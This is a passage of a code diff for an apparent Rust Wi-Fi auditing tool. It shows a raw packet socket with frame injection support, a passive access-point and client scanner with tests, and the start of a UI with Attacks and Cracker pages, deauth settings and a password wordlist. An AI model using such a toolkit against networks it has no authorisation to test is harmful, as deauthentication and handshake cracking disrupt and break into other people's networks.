178+ let it_len = f.len() as u16;
179+ f[2..4].copy_from_slice(&it_len.to_le_bytes());
180+ f.extend_from_slice(&[0xaa, 0xbb]);
181+ let (meta, rest) = strip(&f).unwrap();
182+ assert_eq!(meta.rssi_dbm, -30);
183+ assert_eq!(rest, &[0xaa, 0xbb]);
184+ }
185+
186+ #[test]
187+ fn unknown_extension_bit_degrades_to_it_len() {
188+ // present w0: rate (bit2) | ext; w1: unknown bit 13 (global 45).
189+ // Rate consumed, unknown field stops the walk; payload still at it_len.
190+ let present0 = 0x8000_0004u32;
191+ let present1 = 0x0000_2000u32;
192+ let fields = [0x0cu8, 0x00, 0x00, 0x00]; // rate + opaque bytes
193+ let tail = [0x55u8; 4];
194+ let f = build_header(&[present0, present1], &fields, &tail);
195+ let (meta, rest) = strip(&f).unwrap();
196+ assert_eq!(meta, RxMeta::default());
197+ assert_eq!(rest, &tail);
198+ }
199+
200+ #[test]
201+ fn malformed_headers_rejected() {
202+ assert!(strip(&[]).is_none());
203+ assert!(strip(&[0, 0, 4]).is_none()); // too short
204+ // version != 0
205+ assert!(strip(&[1, 0, 8, 0, 0, 0, 0, 0]).is_none());
206+ // it_len < 8
207+ assert!(strip(&[0, 0, 7, 0, 0, 0, 0, 0, 0]).is_none());
208+ // it_len beyond frame
209+ assert!(strip(&[0, 0, 64, 0, 0, 0, 0, 0]).is_none());
210+ }
211+}
src/rawsock.rsmodified+171 -0
@@ -0,0 +1,171 @@
1+//! Raw layer-2 socket — the only module in the crate allowed to use `unsafe`.
2+//!
3+//! AF_PACKET/SOCK_RAW with ETH_P_ALL, bound to a single interface via
4+//! sockaddr_ll. In monitor mode delivered frames are radiotap + 802.11;
5+//! transmitted frames must already carry the radiotap INJECT_HDR prefix.
6+
7+use std::ffi::CString;
8+use std::io;
9+use std::mem::size_of;
10+
11+pub struct RawSocket {
12+ fd: i32,
13+ #[allow(dead_code)]
14+ ifindex: i32,
15+ ifname: String,
16+}
17+
18+impl RawSocket {
19+ /// AF_PACKET SOCK_RAW ETH_P_ALL bound to ifname. Requires CAP_NET_RAW.
20+ pub fn open(ifname: &str) -> io::Result<Self> {
21+ let cname = CString::new(ifname)
22+ .map_err(|_| io::Error::new(io::ErrorKind::InvalidInput, "ifname contains NUL"))?;
23+ // SAFETY: plain libc calls on stack-allocated data; fd/checks below.
24+ unsafe {
25+ let ifindex = libc::if_nametoindex(cname.as_ptr());
26+ if ifindex == 0 {
27+ return Err(io::Error::new(
28+ io::ErrorKind::NotFound,
29+ format!("no such interface: {ifname}"),
30+ ));
31+ }
32+ let fd = libc::socket(
33+ libc::AF_PACKET,
34+ libc::SOCK_RAW | libc::SOCK_CLOEXEC,
35+ (libc::ETH_P_ALL as u16).to_be() as i32,
36+ );
37+ if fd < 0 {
38+ return Err(io::Error::last_os_error());
39+ }
40+ let sll = libc::sockaddr_ll {
41+ sll_family: libc::AF_PACKET as u16,
42+ sll_protocol: (libc::ETH_P_ALL as u16).to_be(),
43+ sll_ifindex: ifindex as i32,
44+ sll_hatype: 0,
45+ sll_pkttype: 0,
46+ sll_halen: 0,
47+ sll_addr: [0; 8],
48+ };
49+ if libc::bind(
50+ fd,
51+ &sll as *const libc::sockaddr_ll as *const libc::sockaddr,
52+ size_of::<libc::sockaddr_ll>() as libc::socklen_t,
53+ ) < 0
54+ {
55+ let err = io::Error::last_os_error();
56+ libc::close(fd);
57+ return Err(err);
58+ }
59+ Ok(RawSocket {
60+ fd,
61+ ifindex: ifindex as i32,
62+ ifname: ifname.to_string(),
63+ })
64+ }
65+ }
66+
67+ pub fn ifname(&self) -> String {
68+ self.ifname.clone()
69+ }
70+
71+ /// Blocking receive of one L2 frame (radiotap + 802.11 in monitor mode).
72+ /// Retries transparently on EINTR.
73+ pub fn recv(&self, buf: &mut [u8]) -> io::Result<usize> {
74+ loop {
75+ // SAFETY: fd is a live socket owned by self; buf is valid for
76+ // buf.len() writable bytes.
77+ let n = unsafe { libc::recv(self.fd, buf.as_mut_ptr().cast(), buf.len(), 0) };
78+ if n >= 0 {
79+ return Ok(n as usize);
80+ }
81+ let err = io::Error::last_os_error();
82+ if err.kind() != io::ErrorKind::Interrupted {
83+ return Err(err);
84+ }
85+ }
86+ }
87+
88+ /// Transmit a frame prefixed with radiotap INJECT_HDR (len includes it).
89+ pub fn send(&self, frame_with_radiotap: &[u8]) -> io::Result<usize> {
90+ loop {
91+ // SAFETY: fd is a live socket; slice is valid readable memory.
92+ let n = unsafe {
93+ libc::send(
94+ self.fd,
95+ frame_with_radiotap.as_ptr().cast(),
96+ frame_with_radiotap.len(),
97+ 0,
98+ )
99+ };
100+ if n >= 0 {
101+ return Ok(n as usize);
102+ }
103+ let err = io::Error::last_os_error();
104+ if err.kind() != io::ErrorKind::Interrupted {
105+ return Err(err);
106+ }
107+ }
108+ }
109+
110+ /// Receive timeout toggle for poll-style loops. 0 disables the timeout.
111+ pub fn set_timeout(&self, ms: u32) -> io::Result<()> {
112+ let tv = libc::timeval {
113+ tv_sec: (ms / 1000) as libc::time_t,
114+ tv_usec: ((ms % 1000) * 1000) as libc::suseconds_t,
115+ };
116+ // SAFETY: fd is a live socket; tv outlives the call.
117+ let rc = unsafe {
118+ libc::setsockopt(
119+ self.fd,
120+ libc::SOL_SOCKET,
121+ libc::SO_RCVTIMEO,
122+ &tv as *const libc::timeval as *const libc::c_void,
123+ size_of::<libc::timeval>() as libc::socklen_t,
124+ )
125+ };
126+ if rc < 0 {
127+ return Err(io::Error::last_os_error());
128+ }
129+ Ok(())
130+ }
131+}
132+
133+impl Drop for RawSocket {
134+ fn drop(&mut self) {
135+ // SAFETY: fd came from socket() and is closed exactly once here.
136+ unsafe {
137+ libc::close(self.fd);
138+ }
139+ }
140+}
141+
142+#[cfg(test)]
143+mod tests {
144+ use super::*;
145+
146+ /// Without root/CAP_NET_RAW this returns EPERM; with it, loopback opens
147+ /// fine. Both outcomes are acceptable — the point is no panic and that a
148+ /// successful open reports its name.
149+ #[test]
150+ fn open_loopback_best_effort() {
151+ match RawSocket::open("lo") {
152+ Ok(sock) => {
153+ assert_eq!(sock.ifname(), "lo");
154+ assert!(sock.set_timeout(100).is_ok());
155+ }
156+ Err(e) => {
157+ let k = e.kind();
158+ assert!(matches!(
159+ k,
160+ io::ErrorKind::PermissionDenied | io::ErrorKind::NotFound | io::ErrorKind::Other
161+ ));
162+ }
163+ }
164+ }
165+
166+ #[test]
167+ fn bogus_iface_is_an_error_not_a_panic() {
168+ let res = RawSocket::open("no_such_iface_zz");
169+ assert!(res.is_err());
170+ }
171+}
src/scanner.rsmodified+475 -0
@@ -0,0 +1,475 @@
1+//! Passive channel-hopping scanner: discovers APs (beacon/probe-response)
2+//! and client stations (probe-request + data frames), live-updating the UI
3+//! via [`Event`]s until `stop` flips true. Pure discovery — handshake
4+//! correlation happens in [`crate::handshake`].
5+
6+use std::collections::BTreeMap;
7+use std::sync::Arc;
8+use std::sync::atomic::{AtomicBool, Ordering};
9+use std::time::{Duration, Instant};
10+
11+use anyhow::{Context, Result};
12+use crossbeam_channel::Sender;
13+
14+use crate::common::{AccessPoint, ClientInfo, Event, HOP_CHANNELS_24, HOP_CHANNELS_5, MacAddr};
15+use crate::radiotap::RxMeta;
16+use crate::rawsock::RawSocket;
17+use crate::{dot11, iface, radiotap};
18+
19+/// APs go stale (ApLost) after this much silence.
20+const AP_EXPIRE: Duration = Duration::from_secs(30);
21+/// Clients go stale after this much silence.
22+const CLIENT_EXPIRE: Duration = Duration::from_secs(60);
23+
24+pub struct ScannerConfig {
25+ pub ifname: String,
26+ /// Channels to hop; empty = all 2.4 + 5 GHz hop channels.
27+ pub channels: Vec<u8>,
28+ /// Dwell per channel.
29+ pub dwell_ms: u32,
30+ /// RSSI below this blocks creation of new AP/client entries (updates to
31+ /// already-known entries are always accepted).
32+ pub rssi_floor: i8,
33+}
34+
35+/// Channel-frequency → channel number for the bands we hop.
36+fn freq_to_channel(freq_mhz: u16) -> Option<u8> {
37+ match freq_mhz {
38+ // 2.4 GHz: ch 1..14, 2407 + 5*ch (ch14 = 2484).
39+ 2412..=2472 => Some(((freq_mhz - 2407) / 5) as u8),
40+ 2484 => Some(14),
41+ // 5 GHz: ch = (freq - 5000) / 5.
42+ 5000..=5900 => Some(((freq_mhz - 5000) / 5) as u8),
43+ _ => None,
44+ }
45+}
46+
47+/// Stateful discovery engine — owned by `run`, unit-tested via `ingest`.
48+struct Scanner {
49+ aps: BTreeMap<MacAddr, AccessPoint>,
50+ clients: BTreeMap<MacAddr, ClientInfo>,
51+ rssi_floor: i8,
52+}
53+
54+impl Scanner {
55+ fn new(rssi_floor: i8) -> Self {
56+ Self {
57+ aps: BTreeMap::new(),
58+ clients: BTreeMap::new(),
59+ rssi_floor,
60+ }
61+ }
62+
63+ /// Feed one received frame. Radiotap metadata in `meta`, 802.11 bytes in
64+ /// `frame` (already stripped), wall clock in `now` (test-injectable).
65+ fn ingest(&mut self, meta: &RxMeta, frame: &[u8], now: Instant, tx: &Sender<Event>) {
66+ // AP from beacon / probe-response.
67+ if let Some(m) = dot11::parse_beacon_or_probe(frame) {
68+ // Trust the DS-parameter IE; fall back to the radiotap carrier
69+ // frequency hint when the IE is absent.
70+ let channel = m
71+ .channel
72+ .or_else(|| freq_to_channel(meta.freq_mhz))
73+ .unwrap_or(0);
74+ let ssid = m.ssid.unwrap_or_default();
75+ match self.aps.get_mut(&m.bssid) {
76+ Some(ap) => {
77+ let mut changed = false;
78+ if meta.rssi_dbm != 0 && meta.rssi_dbm > ap.rssi_dbm {
79+ ap.rssi_dbm = meta.rssi_dbm;
80+ changed = true;
81+ }
82+ if !ssid.is_empty() && ap.ssid != ssid {
83+ ap.ssid = ssid.clone();
84+ changed = true;
85+ }
86+ if channel != 0 && ap.channel != channel {
87+ ap.channel = channel;
88+ changed = true;
89+ }
90+ if m.security != ap.security {
91+ ap.security = m.security;
92+ changed = true;
93+ }
94+ ap.beacons += 1;
95+ ap.last_seen = now;
96+ if changed {
97+ let _ = tx.send(Event::ApUpdated(ap.clone()));
98+ }
99+ }
100+ None => {
101+ if meta.rssi_dbm != 0 && meta.rssi_dbm < self.rssi_floor {
102+ return; // weak signal: don't create the entry
103+ }
104+ let ap = AccessPoint {
105+ bssid: m.bssid,
106+ ssid,
107+ channel,
108+ security: m.security,
109+ rssi_dbm: meta.rssi_dbm,
110+ beacons: 1,
111+ last_seen: now,
112+ };
113+ self.aps.insert(m.bssid, ap.clone());
114+ let _ = tx.send(Event::ApUpdated(ap));
115+ }
116+ }
117+ return;
118+ }
119+
120+ // Client probing.
121+ if let Some((sta, _ssid)) = dot11::parse_probe_req(frame) {
122+ if sta.is_multicast() || sta.is_zero() {
123+ return;
124+ }
125+ self.note_client(sta, None, meta, now, tx);
126+ return;
127+ }
128+
129+ // Clients talking data: learn station side; the bssid side refreshes
130+ // the AP liveness (channel/time) without bumping beacon count.
131+ if let Some((bssid, sta)) = dot11::data_endpoints(frame) {
132+ if !sta.is_multicast() && !sta.is_zero() {
133+ self.note_client(sta, Some(bssid), meta, now, tx);
134+ }
135+ if let Some(ap) = self.aps.get_mut(&bssid) {
136+ ap.last_seen = now;
137+ }
138+ }
139+ }
140+
141+ fn note_client(
142+ &mut self,
143+ sta: MacAddr,
144+ ap: Option<MacAddr>,
145+ meta: &RxMeta,
146+ now: Instant,
147+ tx: &Sender<Event>,
148+ ) {
149+ match self.clients.get_mut(&sta) {
150+ Some(c) => {
151+ let mut changed = false;
152+ if meta.rssi_dbm != 0 && meta.rssi_dbm > c.rssi_dbm {
153+ c.rssi_dbm = meta.rssi_dbm;
154+ changed = true;
155+ }
156+ if let Some(b) = ap {
157+ if c.ap != Some(b) {
158+ c.ap = Some(b);
159+ changed = true;
160+ }
161+ }
162+ c.frames += 1;
163+ c.last_seen = now;
164+ if changed {
165+ let _ = tx.send(Event::ClientUpdated(c.clone()));
166+ }
167+ }
168+ None => {
169+ if meta.rssi_dbm != 0 && meta.rssi_dbm < self.rssi_floor {
170+ return;
171+ }
172+ let c = ClientInfo {
173+ mac: sta,
174+ ap,
175+ rssi_dbm: meta.rssi_dbm,
176+ frames: 1,
177+ last_seen: now,
178+ };
179+ self.clients.insert(sta, c.clone());
180+ let _ = tx.send(Event::ClientUpdated(c));
181+ }
182+ }
183+ }
184+
185+ /// Expire silent entries, emitting ApLost / (clients just drop out —
186+ /// contract has no ClientLost event; stale clients stop being updated).
187+ fn expire(&mut self, now: Instant, tx: &Sender<Event>) {
188+ let gone: Vec<MacAddr> = self
189+ .aps
190+ .iter()
191+ .filter(|(_, ap)| now.duration_since(ap.last_seen) > AP_EXPIRE)
192+ .map(|(b, _)| *b)
193+ .collect();
194+ for b in gone {
195+ self.aps.remove(&b);
196+ let _ = tx.send(Event::ApLost(b));
197+ }
198+ self.clients
199+ .retain(|_, c| now.duration_since(c.last_seen) <= CLIENT_EXPIRE);
200+ }
201+}
202+
203+/// Blocking channel-hop passive scan on an interface the caller already put
204+/// into monitor mode. Returns when `stop` flips true.
205+pub fn run(cfg: ScannerConfig, tx: Sender<Event>, stop: Arc<AtomicBool>) -> Result<()> {
206+ let sock = RawSocket::open(&cfg.ifname)
207+ .with_context(|| format!("opening {} for scan", cfg.ifname))?;
208+ sock.set_timeout(cfg.dwell_ms).context("set_timeout")?;
209+
210+ let channels: Vec<u8> = if cfg.channels.is_empty() {
211+ HOP_CHANNELS_24
212+ .iter()
213+ .chain(HOP_CHANNELS_5.iter())
214+ .copied()
215+ .collect()
216+ } else {
217+ cfg.channels.clone()
218+ };
219+ let _ = tx.send(Event::Log(format!(
220+ "scanner: {} channels, {} ms dwell on {}",
221+ channels.len(),
222+ cfg.dwell_ms,
223+ cfg.ifname
224+ )));
225+
226+ let mut scanner = Scanner::new(cfg.rssi_floor);
227+ let mut buf = vec![0u8; 4096];
228+ let mut ch_idx = 0usize;
229+
230+ while !stop.load(Ordering::Relaxed) {
231+ let ch = channels[ch_idx];
232+ ch_idx = (ch_idx + 1) % channels.len();
233+ if let Err(e) = iface::set_channel(&cfg.ifname, ch) {
234+ let _ = tx.send(Event::Log(format!(
235+ "scanner: hop to ch {ch} failed: {e:#}"
236+ )));
237+ }
238+
239+ // Drain frames until the dwell elapses (recv timeout bounds it).
240+ let dwell_start = Instant::now();
241+ loop {
242+ match sock.recv(&mut buf) {
243+ Ok(n) => {
244+ let now = Instant::now();
245+ if let Some((meta, frame)) = radiotap::strip(&buf[..n]) {
246+ scanner.ingest(&meta, frame, now, &tx);
247+ }
248+ }
249+ Err(e)
250+ if e.kind() == std::io::ErrorKind::WouldBlock
251+ || e.kind() == std::io::ErrorKind::TimedOut =>
252+ {
253+ break; // dwell over (set_timeout)
254+ }
255+ Err(e) if e.kind() == std::io::ErrorKind::Interrupted => continue,
256+ Err(e) => {
257+ let _ = tx.send(Event::Error(format!("scanner recv: {e}")));
258+ break;
259+ }
260+ }
261+ if dwell_start.elapsed() >= Duration::from_millis(cfg.dwell_ms as u64) * 4 {
262+ break; // safety net if timeout doesn't fire
263+ }
264+ if stop.load(Ordering::Relaxed) {
265+ break;
266+ }
267+ }
268+
269+ scanner.expire(Instant::now(), &tx);
270+ }
271+ Ok(())
272+}
273+
274+#[cfg(test)]
275+mod tests {
276+ use super::*;
277+
278+ fn ap() -> MacAddr {
279+ "aa:bb:cc:dd:ee:ff".parse().unwrap()
280+ }
281+
282+ fn sta() -> MacAddr {
283+ // Unicast (I/G bit clear) — 0x11 would be multicast and filtered.
284+ "12:22:33:44:55:66".parse().unwrap()
285+ }
286+
287+ /// Hand-rolled beacon: radiotap-stripped 802.11 for `dot11` — FC 0x0080,
288+ /// addr1 broadcast, addr2/addr3 bssid, 12 fixed bytes, SSID + DS IEs.
289+ fn beacon_frame(bssid: &MacAddr, ssid: &str, channel: u8) -> Vec<u8> {
290+ let mut f = Vec::new();
291+ f.extend_from_slice(&0x0080u16.to_le_bytes()); // FC beacon
292+ f.extend_from_slice(&0u16.to_le_bytes()); // duration
293+ f.extend_from_slice(&MacAddr::BROADCAST.0); // addr1
294+ f.extend_from_slice(&bssid.0); // addr2 transmitter
295+ f.extend_from_slice(&bssid.0); // addr3 bssid
296+ f.extend_from_slice(&0u16.to_le_bytes()); // seq
297+ f.extend_from_slice(&[0u8; 8]); // timestamp
298+ f.extend_from_slice(&100u16.to_le_bytes()); // beacon interval
299+ f.extend_from_slice(&0x0431u16.to_le_bytes()); // capability (privacy)
300+ f.push(0); // SSID IE
301+ f.push(ssid.len() as u8);
302+ f.extend_from_slice(ssid.as_bytes());
303+ f.push(3); // DS param IE
304+ f.push(1);
305+ f.push(channel);
306+ f
307+ }
308+
309+ /// Probe request (FC 0x0040) from `sta`, broadcast dest, given SSID.
310+ fn probe_req_frame(sta: &MacAddr, ssid: Option<&str>) -> Vec<u8> {
311+ let mut f = Vec::new();
312+ f.extend_from_slice(&0x0040u16.to_le_bytes());
313+ f.extend_from_slice(&0u16.to_le_bytes());
314+ f.extend_from_slice(&MacAddr::BROADCAST.0);
315+ f.extend_from_slice(&sta.0);
316+ f.extend_from_slice(&MacAddr::BROADCAST.0);
317+ f.extend_from_slice(&0u16.to_le_bytes());
318+ let s = ssid.unwrap_or("");
319+ f.push(0);
320+ f.push(s.len() as u8);
321+ f.extend_from_slice(s.as_bytes());
322+ f
323+ }
324+
325+ /// Data frame sta → ap (ToDS): addr1=bssid, addr2=sta, addr3=da.
326+ fn data_frame_tods(bssid: &MacAddr, sta: &MacAddr) -> Vec<u8> {
327+ let mut f = Vec::new();
328+ f.extend_from_slice(&0x0108u16.to_le_bytes()); // data, ToDS
329+ f.extend_from_slice(&0u16.to_le_bytes());
330+ f.extend_from_slice(&bssid.0); // addr1 = bssid
331+ f.extend_from_slice(&sta.0); // addr2 = sta
332+ f.extend_from_slice(&[0u8; 6]); // addr3 = da
333+ f.extend_from_slice(&0u16.to_le_bytes());
334+ f.extend_from_slice(&[0u8; 8]); // llc/payload filler
335+ f
336+ }
337+
338+ fn meta(rssi: i8, freq: u16) -> RxMeta {
339+ RxMeta {
340+ rssi_dbm: rssi,
341+ freq_mhz: freq,
342+ }
343+ }
344+
345+ #[test]
346+ fn beacon_attached_creates_ap_with_ssid_and_channel() {
347+ let (tx, rx) = crossbeam_channel::unbounded();
348+ let mut sc = Scanner::new(-85);
349+ let now = Instant::now();
350+ sc.ingest(&meta(-42, 0), &beacon_frame(&ap(), "parafin", 6), now, &tx);
351+ match rx.try_recv() {
352+ Ok(Event::ApUpdated(a)) => {
353+ assert_eq!(a.bssid, ap());
354+ assert_eq!(a.ssid, "parafin");
355+ assert_eq!(a.channel, 6);
356+ assert_eq!(a.rssi_dbm, -42);
357+ }
358+ other => panic!("expected ApUpdated, got {other:?}"),
359+ }
360+ }
361+
362+ #[test]
363+ fn beacon_uses_freq_hint_when_no_ds_ie() {
364+ let (tx, rx) = crossbeam_channel::unbounded();
365+ let mut sc = Scanner::new(-85);
366+ let now = Instant::now();
367+ let mut f = beacon_frame(&ap(), "parafin", 6);
368+ f.truncate(f.len() - 3); // drop DS IE
369+ sc.ingest(&meta(-40, 2437), &f, now, &tx);
370+ match rx.try_recv() {
371+ Ok(Event::ApUpdated(a)) => assert_eq!(a.channel, 6),
372+ other => panic!("expected ApUpdated, got {other:?}"),
373+ }
374+ }
375+
376+ #[test]
377+ fn weak_beacon_not_created_but_update_accepted_later() {
378+ let (tx, rx) = crossbeam_channel::unbounded();
379+ let mut sc = Scanner::new(-85);
380+ let now = Instant::now();
381+ // -90 < floor: no event, no entry.
382+ sc.ingest(&meta(-90, 0), &beacon_frame(&ap(), "parafin", 6), now, &tx);
383+ assert!(rx.try_recv().is_err());
384+ assert!(sc.aps.is_empty());
385+ // Once created (hit stronger frame), later weak updates are accepted:
386+ // beacon counter still advances even though no event is emitted.
387+ sc.ingest(&meta(-60, 0), &beacon_frame(&ap(), "parafin", 6), now, &tx);
388+ assert!(rx.try_recv().is_ok());
389+ sc.ingest(&meta(-90, 0), &beacon_frame(&ap(), "parafin", 6), now, &tx);
390+ assert_eq!(sc.aps[&ap()].beacons, 2);
391+ }
392+
393+ #[test]
394+ fn rssi_improvement_emits_update_worsening_does_not() {
395+ let (tx, rx) = crossbeam_channel::unbounded();
396+ let mut sc = Scanner::new(-85);
397+ let now = Instant::now();
398+ sc.ingest(&meta(-70, 0), &beacon_frame(&ap(), "parafin", 6), now, &tx);
399+ let _ = rx.try_recv(); // creation
400+ sc.ingest(&meta(-75, 0), &beacon_frame(&ap(), "parafin", 6), now, &tx);
401+ assert!(rx.try_recv().is_err()); // worse: silent
402+ sc.ingest(&meta(-50, 0), &beacon_frame(&ap(), "parafin", 6), now, &tx);
403+ match rx.try_recv() {
404+ Ok(Event::ApUpdated(a)) => assert_eq!(a.rssi_dbm, -50),
405+ other => panic!("expected ApUpdated improvement, got {other:?}"),
406+ }
407+ }
408+
409+ #[test]
410+ fn probe_req_creates_client_and_data_freshens() {
411+ let (tx, rx) = crossbeam_channel::unbounded();
412+ let mut sc = Scanner::new(-85);
413+ let now = Instant::now();
414+ sc.ingest(&meta(-55, 0), &probe_req_frame(&sta(), Some("parafin")), now, &tx);
415+ match rx.try_recv() {
416+ Ok(Event::ClientUpdated(c)) => {
417+ assert_eq!(c.mac, sta());
418+ assert_eq!(c.ap, None);
419+ }
420+ other => panic!("expected ClientUpdated, got {other:?}"),
421+ }
422+ sc.ingest(&meta(-55, 0), &data_frame_tods(&ap(), &sta()), now, &tx);
423+ match rx.try_recv() {
424+ Ok(Event::ClientUpdated(c)) => assert_eq!(c.ap, Some(ap())),
425+ other => panic!("expected ClientUpdated with ap, got {other:?}"),
426+ }
427+ assert_eq!(sc.clients[&sta()].frames, 2);
428+ }
429+
430+ #[test]
431+ fn multicast_ta_is_ignored() {
432+ let (tx, rx) = crossbeam_channel::unbounded();
433+ let mut sc = Scanner::new(-85);
434+ let now = Instant::now();
435+ let mcast = MacAddr([0x33, 0x33, 0, 0, 0, 1]);
436+ sc.ingest(&meta(-40, 0), &probe_req_frame(&mcast, None), now, &tx);
437+ assert!(rx.try_recv().is_err());
438+ assert!(sc.clients.is_empty());
439+ }
440+
441+ #[test]
442+ fn aging_emits_ap_lost_and_drops_clients() {
443+ let (tx, rx) = crossbeam_channel::unbounded();
444+ let mut sc = Scanner::new(-85);
445+ let t0 = Instant::now();
446+ sc.ingest(&meta(-40, 0), &beacon_frame(&ap(), "parafin", 6), t0, &tx);
447+ sc.ingest(&meta(-40, 0), &probe_req_frame(&sta(), None), t0, &tx);
448+ let _ = rx.try_recv();
449+ let _ = rx.try_recv();
450+
451+ // 31 s later: AP expired, client still alive.
452+ let t1 = t0 + Duration::from_secs(31);
453+ sc.expire(t1, &tx);
454+ match rx.try_recv() {
455+ Ok(Event::ApLost(b)) => assert_eq!(b, ap()),
456+ other => panic!("expected ApLost, got {other:?}"),
457+ }
458+ assert!(sc.clients.contains_key(&sta()));
459+
460+ // 61 s: client gone too.
461+ sc.expire(t0 + Duration::from_secs(61), &tx);
462+ assert!(sc.clients.is_empty());
463+ }
464+
465+ #[test]
466+ fn freq_map_sanity() {
467+ assert_eq!(freq_to_channel(2412), Some(1));
468+ assert_eq!(freq_to_channel(2437), Some(6));
469+ assert_eq!(freq_to_channel(2472), Some(13));
470+ assert_eq!(freq_to_channel(2484), Some(14));
471+ assert_eq!(freq_to_channel(5180), Some(36));
472+ assert_eq!(freq_to_channel(5825), Some(165));
473+ assert_eq!(freq_to_channel(0), None);
474+ }
475+}
src/ui/app.rsadded+512 -0
@@ -0,0 +1,512 @@
1+//! Root view: nav rail, header bar (interface picker, privilege badge,
2+//! monitor/capture toggle), page content, status line, and the background
3+//! task that polls the backend event channel.
4+
5+use std::collections::BTreeMap;
6+use std::time::Duration;
7+
8+use crossbeam_channel::{Receiver, Sender};
9+use gpui::{
10+ App, AppContext, Context, Entity, FocusHandle, FontWeight, InteractiveElement, IntoElement,
11+ ParentElement, Render, SharedString, StatefulInteractiveElement, Styled, Window, div,
12+ prelude::FluentBuilder, px,
13+};
14+use gpuikit::elements::badge::badge;
15+use gpuikit::elements::button::button;
16+use gpuikit::elements::select::{SelectState, select};
17+use gpuikit::elements::table::SortDescriptor;
18+use gpuikit::elements::toast::ToastExt;
19+use gpuikit::input::InputState;
20+use gpuikit::layout::{h_stack, v_stack};
21+use gpuikit::theme::{ActiveTheme, Themeable};
22+
23+use crate::backend::Backend;
24+use crate::common::{Event, MacAddr};
25+use crate::ui::{attacks, cracker, log as log_view, networks, state::AppState};
26+
27+/// How often the UI drains the backend event channel.
28+const EVENT_POLL: Duration = Duration::from_millis(100);
29+
30+/// Left nav destinations.
31+#[derive(Clone, Copy, PartialEq, Eq)]
32+pub enum Page {
33+ Networks,
34+ Attacks,
35+ Cracker,
36+ Log,
37+}
38+
39+impl Page {
40+ const ALL: [Page; 4] = [Page::Networks, Page::Attacks, Page::Cracker, Page::Log];
41+
42+ fn label(self) -> &'static str {
43+ match self {
44+ Page::Networks => "Networks",
45+ Page::Attacks => "Attacks",
46+ Page::Cracker => "Cracker",
47+ Page::Log => "Log",
48+ }
49+ }
50+}
51+
52+pub struct AppRoot {
53+ pub state: AppState,
54+ /// Backend event channel (mock thread today, real backend later).
55+ pub rx: Receiver<Event>,
56+ /// UI-triggered actions are injected into the same pipeline.
57+ pub tx: Sender<Event>,
58+ pub page: Page,
59+ /// Privilege indicator; real value from [`crate::iface::is_root`].
60+ pub is_root: bool,
61+ /// Real radio/attack/cracker orchestrator. `None` in mock mode or
62+ /// before the first "Start capture".
63+ pub backend: Option<Backend>,
64+ /// Mock data mode (`--mock` / `WIFILAB_MOCK=1`): never touches devices.
65+ pub is_mock: bool,
66+ /// Target BSSID picked on the Networks page (AP row or client row).
67+ pub selected: Option<MacAddr>,
68+ /// Client station picked on the Networks page; deauth targets it
69+ /// instead of the broadcast address when set (AP stays `selected`).
70+ pub selected_client: Option<MacAddr>,
71+ /// Message bitmask (see [`Event::HandshakeProgress`]) per in-flight
72+ /// 4-way capture, keyed by (AP, client).
73+ pub hs_progress: BTreeMap<(MacAddr, MacAddr), u8>,
74+ /// "Spinner shown" flags for attack buttons awaiting results.
75+ pub attacking_handshake: bool,
76+ pub attacking_pmkid: bool,
77+ /// Crack run in flight; cleared when CrackStopped arrives.
78+ pub crack_inflight: bool,
79+ /// Toast queued by the event loop (no Window there) — shown on the
80+ /// next render pass.
81+ pub pending_toast: Option<SharedString>,
82+ /// Used to invalidate stale cracker simulation ticks after Stop/re-Start.
83+ pub crack_epoch: u64,
84+ pub ap_sort: Option<SortDescriptor>,
85+ pub client_sort: Option<SortDescriptor>,
86+ pub focus_handle: FocusHandle,
87+ pub iface_select: Entity<SelectState<String>>,
88+ pub target_select: Entity<SelectState<String>>,
89+ pub wordlist_input: Entity<InputState>,
90+ pub deauth_input: Entity<InputState>,
91+}
92+
93+impl AppRoot {
94+ pub fn new(
95+ window: &mut Window,
96+ cx: &mut Context<Self>,
97+ tx: Sender<Event>,
98+ rx: Receiver<Event>,
99+ is_mock: bool,
100+ ifaces: Vec<String>,
101+ selected_iface: String,
102+ ) -> Self {
103+ let view = cx.entity();
104+
105+ let iface_select = cx.new(|_cx| {
106+ SelectState::new(
107+ select(
108+ "iface-select",
109+ "Interface",
110+ ifaces
111+ .iter()
112+ .map(|i| (i.clone(), i.clone()))
113+ .collect::<Vec<_>>(),
114+ )
115+ .selected(selected_iface.clone())
116+ .on_change({
117+ let view = view.clone();
118+ move |ifname, _window, cx| {
119+ view.update(cx, |app, cx| {
120+ app.state.ifname = ifname.clone();
121+ app.state.push_log(format!("iface: selected {ifname}"));
122+ cx.notify();
123+ });
124+ }
125+ }),
126+ )
127+ });
128+
129+ let wordlist_input = cx.new(InputState::new_singleline);
130+ wordlist_input.update(cx, |input, cx| {
131+ input.set_content("/usr/share/wordlists/rockyou.txt", cx);
132+ });
133+
134+ let deauth_input = cx.new(InputState::new_singleline);
135+ deauth_input.update(cx, |input, cx| {
136+ input.set_content("16", cx);
137+ });
138+
139+ let mut this = AppRoot {
140+ state: AppState::new(&selected_iface),
141+ rx,
142+ tx,
143+ page: Page::Networks,
144+ is_root: crate::iface::is_root(),
145+ backend: None,
146+ is_mock,
147+ selected: None,
148+ selected_client: None,
149+ hs_progress: BTreeMap::new(),
150+ attacking_handshake: false,
151+ attacking_pmkid: false,
152+ crack_inflight: false,
153+ pending_toast: None,
154+ crack_epoch: 0,
155+ ap_sort: None,
156+ client_sort: None,
157+ focus_handle: cx.focus_handle(),
158+ iface_select,
159+ target_select: cx.new(|_cx| {
160+ let empty: Vec<(String, String)> = Vec::new();
161+ SelectState::new(select("cracker-target", "Crack target", empty))
162+ }),
163+ wordlist_input,
164+ deauth_input,
165+ };
166+ this.rebuild_target_select(cx);
167+ this.state.push_log(if is_mock {
168+ "wifilab UI started (mock backend)".to_string()
169+ } else {
170+ format!(
171+ "wifilab UI started (REAL backend, iface {selected_iface}) — Start capture to bring up monitor mode"
172+ )
173+ });
174+
175+ cx.on_release(|this, _cx| {
176+ // Window closed → root view released → stop every worker and
177+ // restore the interface to managed mode.
178+ if let Some(be) = this.backend.take() {
179+ be.shutdown();
180+ }
181+ })
182+ .detach();
183+
184+ if !this.is_root {
185+ cx.toast("not root: monitor mode and injection will fail — run with sudo")
186+ .show(window, cx);
187+ }
188+
189+ // Poll the backend event channel: wait on the background executor,
190+ // then reduce everything queued into state on the main thread. The
191+ // backend threads never touch gpui types.
192+ cx.spawn(async move |this, cx| {
193+ loop {
194+ cx.background_executor().timer(EVENT_POLL).await;
195+ match this.update(cx, |app, cx| app.drain_events(cx)) {
196+ Ok(()) => {}
197+ // Entity gone (window closed) — stop polling.
198+ Err(_) => break,
